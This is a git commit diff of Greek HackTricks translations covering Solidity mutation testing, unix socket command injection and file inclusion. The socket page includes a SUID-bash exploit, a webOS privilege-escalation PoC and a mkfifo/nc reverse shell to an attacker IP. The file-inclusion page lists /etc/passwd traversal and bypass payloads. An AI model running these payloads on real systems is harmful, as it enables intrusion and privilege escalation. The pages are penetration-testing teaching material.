Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/linu

This commit is contained in:
Translator 2025-10-01 09:26:59 +00:00
parent f552bfe0ba
commit ccd436957c
3 changed files with 240 additions and 212 deletions

View File

@ -1,14 +1,14 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
# Mutation Testing για Solidity με Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Mutation testing "δοκιμάζει τα tests σου" εισάγοντας συστηματικά μικρές αλλαγές (mutants) στον κώδικα Solidity σου και επανεκτελώντας το test suite σου. Αν ένα test αποτύχει, το mutant "πεθαίνει". Αν τα tests συνεχίσουν να περνούν, το mutant επιβιώνει, αποκαλύπτοντας ένα τυφλό σημείο στο test suite σου που το line/branch coverage δεν μπορεί να εντοπίσει.
Mutation testing "tests your tests" εισάγοντας συστηματικά μικρές αλλαγές (mutants) στον κώδικά σας σε Solidity και επανεκτελώντας το test suite σας. Αν ένα test αποτύχει, ο mutant σκοτώνεται. Αν τα tests εξακολουθούν να περνούν, ο mutant επιβιώνει, αποκαλύπτοντας ένα τυφλό σημείο στο test suite σας που η line/branch coverage δεν μπορεί να εντοπίσει.
Βασική ιδέα: Η κάλυψη δείχνει ότι ο κώδικας εκτελέστηκε· το Mutation testing δείχνει αν η συμπεριφορά έχει πραγματικά επιβεβαιωθεί.
Κεντρική ιδέα: Η coverage δείχνει ότι ο κώδικας εκτελέστηκε· το mutation testing δείχνει αν η συμπεριφορά πράγματι επιβεβαιώνεται.
## Why coverage can deceive
## Γιατί η coverage μπορεί να παραπλανήσει
Εξετάστε αυτόν τον απλό έλεγχο ορίου:
Εξετάστε αυτόν τον απλό έλεγχο κατωφλίου:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,26 +18,26 @@ return false;
}
}
```
Τα unit tests που μόνο ελέγχουν μια τιμή κάτω και μια τιμή πάνω από το όριο μπορούν να φτάσουν 100% κάλυψη γραμμών/κλάδων ενώ αποτυγχάνουν να ελέγξουν το σύνορο ισότητας (==). Μια αλλαγή σε `deposit >= 2 ether` θα περνούσε ακόμα τέτοια tests, σιωπηρά σπάζοντας τη λογική του πρωτοκόλλου.
Τα unit tests που ελέγχουν μόνο μια τιμή κάτω και μια τιμή πάνω από το όριο μπορούν να φτάσουν στο 100% κάλυψη γραμμών/διακλαδώσεων ενώ αποτυγχάνουν να ελέγξουν το όριο ισότητας (==). Μια αναδιάρθρωση σε `deposit >= 2 ether` θα περνούσε ακόμα τέτοια tests, σιωπηρά σπάζοντας τη λογική του πρωτοκόλλου.
Το mutation testing αποκαλύπτει αυτό το κενό μεταλλάσσοντας τη συνθήκη και επαληθεύοντας ότι τα tests σας αποτυγχάνουν.
Mutation testing αποκαλύπτει αυτό το κενό μεταλλάσσοντας τη συνθήκη και επαληθεύοντας ότι τα tests σας αποτυγχάνουν.
## Common Solidity mutation operators
Η mutation engine του Slither εφαρμόζει πολλές μικρές τροποποιήσεις που αλλάζουν τη σημασιολογία, όπως:
- Αντικατάσταση τελεστή: `+``-`, `*``/`, etc.
Slithers mutation engine εφαρμόζει πολλές μικρές, που αλλάζουν τη σημασιολογία, τροποποιήσεις, όπως:
- Αντικατάσταση τελεστή: `+``-`, `*``/`, κ.λπ.
- Αντικατάσταση ανάθεσης: `+=``=`, `-=``=`
- Αντικατάσταση σταθερών: non-zero → `0`, `true``false`
- Άρνηση/αντικατάσταση συνθήκης μέσα σε `if`/βρόχους
- Σχολιασμός ολόκληρων γραμμών (CR: Comment Replacement)
- Αντικατάσταση σταθεράς: μη μηδενικό → 0, `true``false`
- Άρνηση/αντικατάσταση συνθήκης εντός `if`/βρόχων
- Μετατροπή ολόκληρων γραμμών σε σχόλια (CR: Comment Replacement)
- Αντικατάσταση μιας γραμμής με `revert()`
- Ανταλλαγή τύπων δεδομένων: π.χ. `int128``int64`
- Ανταλλαγές τύπου δεδομένων: π.χ. `int128``int64`
Στόχος: Να εξουδετερωθεί το 100% των παραγόμενων mutants, ή να δικαιολογηθούν οι επιζώντες με σαφή αιτιολόγηση.
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
## Running mutation testing with slither-mutate
Απαιτήσεις: Slither v0.10.2+.
Requirements: Slither v0.10.2+.
- Εμφάνιση επιλογών και mutators:
```bash
@ -48,69 +48,69 @@ slither-mutate --list-mutators
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Αν δεν χρησιμοποιείτε Foundry, αντικαταστήστε το `--test-cmd` με τον τρόπο που τρέχετε τα tests (π.χ., `npx hardhat test`, `npm test`).
- Αν δεν χρησιμοποιείτε Foundry, αντικαταστήστε το `--test-cmd` με τον τρόπο που τρέχετε τα tests (π.χ. `npx hardhat test`, `npm test`).
Τα αρχεία και οι αναφορές αποθηκεύονται στο `./mutation_campaign` από προεπιλογή. Οι μη ανιχνευθέντες (επιζώντες) mutants αντιγράφονται εκεί για επιθεώρηση.
Τα artifacts και οι αναφορές αποθηκεύονται στο `./mutation_campaign` από προεπιλογή. Οι μη εντοπισμένοι (επιζώντες) mutants αντιγράφονται εκεί για έλεγχο.
### Κατανόηση της εξόδου
Οι γραμμές της αναφοράς μοιάζουν με:
Οι γραμμές της αναφοράς μοιάζουν ως εξής:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Η ετικέτα σε αγκύλες είναι το mutator alias (π.χ., `CR` = Comment Replacement).
- `UNCAUGHT` σημαίνει ότι τα tests πέρασαν υπό τη μεταβλημένη συμπεριφορά → λείπει assertion.
- Το tag σε αγκύλες είναι το alias του mutator (π.χ., `CR` = Comment Replacement).
- Το `UNCAUGHT` σημαίνει ότι οι δοκιμές πέρασαν υπό τη μεταλλαγμένη συμπεριφορά → λείπει assertion.
## Μείωση χρόνου εκτέλεσης: προτεραιοποίηση σημαντικών mutants
Mutation campaigns μπορεί να διαρκέσουν ώρες ή μέρες. Συμβουλές για μείωση κόστους:
- Scope: Ξεκινήστε μόνο με κρίσιμα contracts/directories, και μετά επεκταθείτε.
- Prioritize mutators: Αν ένας high-priority mutant σε μια γραμμή επιβιώσει (π.χ., ολόκληρη γραμμή σχολιασμένη), μπορείτε να παραλείψετε lower-priority παραλλαγές για εκείνη τη γραμμή.
- Parallelize tests αν ο runner σας το επιτρέπει; cache dependencies/builds.
- Fail-fast: σταματήστε νωρίς όταν μια αλλαγή δείχνει σαφώς έλλειμμα σε assertions.
Mutation campaigns μπορεί να διαρκέσουν ώρες ή ημέρες. Συμβουλές για μείωση κόστους:
- Scope: Ξεκινήστε μόνο με κρίσιμα contracts/καταλόγους, μετά επεκταθείτε.
- Προτεραιοποιήστε mutators: Αν ένας high-priority mutant σε μια γραμμή επιβιώσει (π.χ., ολόκληρη γραμμή σχολιασμένη), μπορείτε να παραλείψετε παραλλαγές χαμηλότερης προτεραιότητας για εκείνη τη γραμμή.
- Παράλληλες δοκιμές αν ο runner σας το επιτρέπει; cache dependencies/builds.
- Fail-fast: σταματήστε νωρίς όταν μια αλλαγή δείχνει σαφώς κενό assertion.
## Διαδικασία triage για τους επιζώντες mutants
## Ροή εργασίας triage για τους επιζώντες mutants
1) Εξετάστε τη μεταβλημένη γραμμή και τη συμπεριφορά.
- Αναπαράγετε το τοπικά εφαρμόζοντας τη μεταβλημένη γραμμή και τρέχοντας ένα focused test.
1) Εξετάστε τη μεταλλαγμένη γραμμή και τη συμπεριφορά.
- Αναπαράγετε το τοπικά εφαρμόζοντας τη μεταλλαγμένη γραμμή και τρέχοντας ένα στοχευμένο test.
2) Ενισχύστε τα tests ώστε να assert-άρουν την κατάσταση, όχι μόνο τιμές επιστροφής.
- Προσθέστε ελέγχους ισότητας/ορίων (π.χ., test threshold `==`).
- Assert post-conditions: υπόλοιπα, συνολική προσφορά, επιπτώσεις εξουσιοδότησης, και εκπεμπόμενα events.
2) Ενισχύστε τα tests ώστε να assert-άρουν την κατάσταση, όχι μόνο τις τιμές επιστροφής.
- Προσθέστε equality-boundary checks (π.χ., test threshold `==`).
- Assert post-conditions: balances, total supply, authorization effects, και emitted events.
3) Αντικαταστήστε υπερβολικά επιεικείς mocks με ρεαλιστική συμπεριφορά.
- Διασφαλίστε ότι τα mocks επιβάλλουν transfers, failure paths και event emissions που συμβαίνουν on-chain.
- Βεβαιωθείτε ότι τα mocks επιβάλλουν transfers, failure paths, και event emissions που συμβαίνουν on-chain.
4) Προσθέστε invariants για fuzz tests.
- Π.χ., διατήρηση αξίας, μη-αρνητικά υπόλοιπα, invariants εξουσιοδότησης, και μονοτονική προσφορά όπου εφαρμόζεται.
- Π.χ., conservation of value, μη αρνητικά balances, authorization invariants, μονοτονική supply όπου εφαρμόζεται.
5) Εκτελέστε ξανά slither-mutate μέχρι οι επιζώντες να εξουδετερωθούν ή να δικαιολογηθούν ρητά.
5) Τρέξτε ξανά slither-mutate μέχρι οι επιζώντες να εξαλειφθούν ή να δικαιολογηθούν ρητά.
## Μελέτη περίπτωσης: αποκάλυψη ελλείψεων σε assertions κατάστασης (Arkis protocol)
## Μελέτη περίπτωσης: αποκάλυψη ελλείπων assertions κατάστασης (Arkis protocol)
Μια mutation campaign κατά τη διάρκεια ενός audit του Arkis DeFi protocol ανέδειξε επιζώντες όπως:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Το σχολιασμός της ανάθεσης δεν έσπασε τα tests, αποδεικνύοντας την απουσία post-state assertions. Κύρια αιτία: ο κώδικας εμπιστεύτηκε μια τιμή ελεγχόμενη από χρήστη `_cmd.value` αντί να επαληθεύσει τις πραγματικές μεταφορές token. Ένας επιτιθέμενος θα μπορούσε να αποσυντονίσει τις αναμενόμενες από τις πραγματικές μεταφορές και να στραγγίξει κεφάλαια. Αποτέλεσμα: κίνδυνος υψηλής σοβαρότητας για τη φερεγγυότητα του πρωτοκόλλου.
Ο σχολιασμός της ανάθεσης δεν έσπασε τα tests, αποδεικνύοντας την έλλειψη post-state assertions. Βασική αιτία: ο κώδικας εμπιστεύτηκε μια από τον χρήστη ελεγχόμενη `_cmd.value` αντί να επικυρώνει τις πραγματικές μεταφορές token. An attacker could desynchronize expected vs. actual transfers to drain funds. Αποτέλεσμα: κίνδυνος υψηλής σοβαρότητας για τη φερεγγυότητα του πρωτοκόλλου.
Κατευθυντήρια: Θεωρήστε τους επιζώντες που επηρεάζουν μεταφορές αξίας, λογιστική ή έλεγχο πρόσβασης ως υψηλού κινδύνου μέχρι να εξουδετερωθούν.
Οδηγίες: Θεωρείτε τους survivors που επηρεάζουν μεταφορές αξίας, λογιστική ή access control ως υψηλού ρίσκου μέχρι να εξουδετερωθούν.
## Πρακτικός κατάλογος ελέγχου
## Πρακτική λίστα ελέγχου
- Run a targeted campaign:
- Εκτελέστε μια στοχευμένη εκστρατεία:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Κατηγοριοποιήστε τους επιζώντες και γράψτε tests/invariants που θα αποτύχουν υπό τη μεταλλαγμένη συμπεριφορά.
- Επαληθεύστε υπόλοιπα, συνολική προσφορά, εξουσιοδοτήσεις και συμβάντα.
- Κατηγοριοποιήστε τους επιζώντες και γράψτε tests/invariants που θα απέτυχαν υπό τη μεταλλαγμένη συμπεριφορά.
- Επιβεβαιώστε τα υπόλοιπα, το supply, τις εξουσιοδοτήσεις και τα events.
- Προσθέστε boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Αντικαταστήστε μη ρεαλιστικά mocks· προσομοιώστε failure modes.
- Αντικαταστήστε μη ρεαλιστικά mocks· προσομοιώστε σενάρια αποτυχίας.
- Επαναλάβετε μέχρι όλοι οι mutants να εξουδετερωθούν ή να δικαιολογηθούν με σχόλια και αιτιολόγηση.
## References
## Αναφορές
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Παράδειγμα δέσμευσης socket με Python
## Socket binding example with Python
Στο παρακάτω παράδειγμα δημιουργείται ένα **unix socket** (`/tmp/socket_test.s`) και όλα όσα **λαμβάνονται** θα **εκτελούνται** από το `os.system`. Ξέρω ότι δεν πρόκειται να το βρείτε στην πραγματικότητα, αλλά ο στόχος αυτού του παραδείγματος είναι να δείτε πώς φαίνεται ένας κώδικας που χρησιμοποιεί unix sockets και πώς να διαχειριστείτε την είσοδο στην χειρότερη περίπτωση.
Στο παρακάτω παράδειγμα δημιουργείται ένας **unix socket** (`/tmp/socket_test.s`) και ό,τι **λαμβάνεται** θα **εκτελείται** από `os.system`. Ξέρω ότι δεν θα βρείτε κάτι τέτοιο στην άγρια φύση, αλλά ο στόχος αυτού του παραδείγματος είναι να δείξει πώς μοιάζει κώδικας που χρησιμοποιεί unix sockets και πώς να χειριστείτε την είσοδο στην χειρότερη δυνατή περίπτωση.
```python:s.py
import socket
import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram)
conn.close()
```
**Εκτελέστε** τον κώδικα χρησιμοποιώντας python: `python s.py` και **ελέγξτε πώς ακούει το socket**:
**Εκτέλεσε** τον κώδικα χρησιμοποιώντας python: `python s.py` και **έλεγξε πώς ακούει το socket**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Εκμετάλλευση**
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Μελέτη περίπτωσης: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
Observed pattern:
- Συνδεθείτε σε έναν root-owned socket (e.g., /tmp/remotelogger).
- Δημιουργήστε ένα thread και αποκτήστε το native thread id (TID).
- Στείλτε το TID (packed) μαζί με padding ως αίτημα; λάβετε ένα acknowledgement.
- Deliver a specific signal to that TID to trigger the privileged behaviour.
Minimal PoC sketch:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Για να το μετατρέψετε σε root shell, μπορεί να χρησιμοποιηθεί ένα απλό named-pipe + nc pattern:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Σημειώσεις:
- Αυτή η κατηγορία σφαλμάτων προκύπτει από την εμπιστοσύνη σε τιμές που προέρχονται από μη προνομιακή κατάσταση πελάτη (TIDs) και τη δέσμευσή τους σε privileged signal handlers ή λογική.
- Ενισχύστε την ασφάλεια επιβάλλοντας έλεγχο διαπιστευτηρίων στο socket, επικυρώνοντας τις μορφές μηνυμάτων και αποσυνδέοντας privileged operations από εξωτερικά παρεχόμενα thread identifiers.
## Αναφορές
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο διακομιστή (Καλύτερο: μπορείς να γράψεις τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν remote server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον server.
Ευάλωτες **PHP functions**: require, require_once, include, include_once
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Ένα ενδιαφέρον εργαλείο για εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,39 +19,38 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Συνδυάζοντας διάφορες λίστες *nix LFI και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτή:**
**Συνδυάζοντας διάφορες λίστες \*nix LFI και προσθέτοντας περισσότερα paths δημιούργησα αυτή:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
Δοκίμασε επίσης να αλλάξεις `/` για `\`\
Δοκίμασε επίσης να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Συνδυασμός διαφορετικών wordlists:
Συνένωση διαφορετικών wordlists:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε `/` για `\`\
Δοκιμάστε επίσης να αφαιρέσετε `C:/` και να προσθέσετε `../../../../../`
Δοκίμασε επίσης να αλλάξεις `/` για `\`\
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Ελέγξτε τη λίστα LFI του linux.
Έλεγξε τη λίστα LFI του linux.
## Basic LFI and bypasses
## Βασικό LFI και παρακάμψεις
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά μπορούν επίσης να εφαρμοστούν σε Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν επίσης να εφαρμοστούν σε Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,15 +62,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
Παράκαμψη της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Αυτό είναι **επιλυμένο από το PHP 5.4**
Αυτό **έχει επιλυθεί από το PHP 5.4**
### **Κωδικοποίηση**
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,38 +83,38 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Δομών του File System σε Διακομιστή
### Εξερεύνηση καταλόγων του συστήματος αρχείων σε διακομιστή
Το file system ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν directories, όχι μόνο αρχεία, εφαρμόζοντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του directory και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια λεπτομερής μέθοδος για να το επιτύχετε:
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω ακολουθεί μια λεπτομερής μέθοδος για να το πραγματοποιήσετε:
1. **Προσδιορισμός Βάθους Καταλόγου:** Καθορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (εφαρμόζεται αν ο διακομιστής είναι Linux-based). Ένα παράδειγμα URL μπορεί να έχει τη δομή ως εξής, υποδεικνύοντας βάθος τρία:
1. **Προσδιορίστε το Βάθος Καταλόγου:** Καθορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το αρχείο `/etc/passwd` (εφαρμόζεται αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να δομηθεί ως εξής, υποδεικνύοντας βάθος τριών:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ελέγξτε για φακέλους:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επιστρέψτε σε `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
2. **Έλεγχος για φακέλους:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, και μετά πλοηγηθείτε ξανά στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεύστε τα Αποτελέσματα:** Ο server's response υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ελεγχθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
3. **Ερμηνεύστε τα Αποτελέσματα:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Επιβεβαιώνεται η ύπαρξη του φακέλου `private`.
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε εάν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
Για την εξερεύνηση καταλόγων σε διαφορετικές θέσεις του συστήματος αρχείων, προσαρμόστε το payload ανάλογα. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Η τεχνική Path Truncation χρησιμοποιείται για τον χειρισμό μονοπατιών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να κατασκευαστεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε εφαρμογές ιστού. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να κατασκευαστεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, θα εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στο PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
In PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` αντιμετωπίζονται όλα ως το ίδιο μονοπάτι.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (μετατρέποντάς το σε `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (π.χ. `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο στο οποίο γίνεται πρόσβαση.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` αντιμετωπίζονται όλα ως η ίδια διαδρομή.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (δημιουργώντας `passwd/`) δεν αλλάζει το αρχείο στόχο.
- Παρομοίως, αν στο τέλος μιας διαδρομής προστεθεί `.php` (π.χ. `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
Τα παραδείγματα που δίνονται δείχνουν πώς να χρησιμοποιήσετε την path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
Τα παραδείγματα που ακολουθούν δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +124,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφοροποιηθεί ανάλογα με τη διαμόρφωση του server.
